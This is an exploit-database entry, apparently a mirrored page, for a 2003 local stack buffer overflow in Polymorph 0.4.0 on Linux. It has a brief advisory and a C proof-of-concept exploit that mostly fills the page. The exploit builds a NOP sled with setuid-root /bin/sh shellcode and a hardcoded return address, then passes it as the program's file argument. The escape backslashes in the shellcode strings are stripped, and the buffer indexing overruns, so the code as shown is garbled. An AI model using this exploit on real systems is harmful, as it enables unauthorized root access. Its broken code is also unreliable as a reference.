Polymorph 0.4 – Filename Buffer Overflow
漏洞ID | 1053881 | 漏洞类型 | |
发布时间 | 2003-05-22 | 更新时间 | 2003-05-22 |
CVE编号 | N/A |
CNNVD-ID | N/A |
漏洞平台 | Linux | CVSS评分 | N/A |
|漏洞详情
漏洞细节尚未披露
|漏洞EXP
source: http://www.securityfocus.com/bid/7663/info
Polymorph for Linux has been reported prone to a buffer overflow vulnerability.
The issue is reportedly due to a lack of sufficient bounds checking performed on user-supplied data before it is copied into an internal memory space.
Specifically, excessive data passed as the 'file' argument to the vulnerable Polymorph executable, when copied into internal memory, may overrun the boundary of the assigned buffer and corrupt adjacent memory.
This vulnerability may be exploited to execute arbitrary attacker-supplied code.
It should be noted that although this vulnerability has been reported to affect Polymorph version 0.4.0 previous versions might also be affected.
/* c-polymorph.c
*
* PoC exploit made for advisory based uppon an local stack based overflow.
* Vulnerable versions, maybe also prior versions:
*
* Polymorph v0.4.0
*
* Tested on: Redhat 8.0
*
* Advisory source: c-code.net (security research team)
* http://www.c-code.net/Releases/Advisories/c-code-adv001.txt
*
* ---------------------------------------------
* coded by: demz (c-code.net) ([email protected])
* ---------------------------------------------
*
*/
#include <stdio.h>
char shellcode[]=
"x31xc0" // xor eax, eax
"x31xdb" // xor ebx, ebx
"x31xc9" // xor ecx, ecx
"xb0x46" // mov al, 70
"xcdx80" // int 0x80
"x31xc0" // xor eax, eax
"x50" // push eax
"x68x6ex2fx73x68" // push long 0x68732f6e
"x68x2fx2fx62x69" // push long 0x69622f2f
"x89xe3" // mov ebx, esp
"x50" // push eax
"x53" // push ebx
"x89xe1" // mov ecx, esp
"x99" // cdq
"xb0x0b" // mov al, 11
"xcdx80" // int 0x80
"x31xc0" // xor eax, eax
"xb0x01" // mov al, 1
"xcdx80"; // int 0x80
int main()
{
unsigned long ret = 0xbffff3f0;
char buffer[2076];
int i=0;
memset(buffer, 0x90, sizeof(buffer));
for (0; i < strlen(shellcode) - 1;i++)
buffer[1000 + i] = shellcode[i];
buffer[2076] = (ret & 0x000000ff);
buffer[2077] = (ret & 0x0000ff00) >> 8;
buffer[2078] = (ret & 0x00ff0000) >> 16;
buffer[2079] = (ret & 0xff000000) >> 24;
buffer[2080] = 0x0;
printf("nPolymorph v0.4.0 local exploitn");
printf("---------------------------------------- demz @ c-code.net --n");
execl("./polymorph", "polymorph", "-f", buffer, NULL);
}
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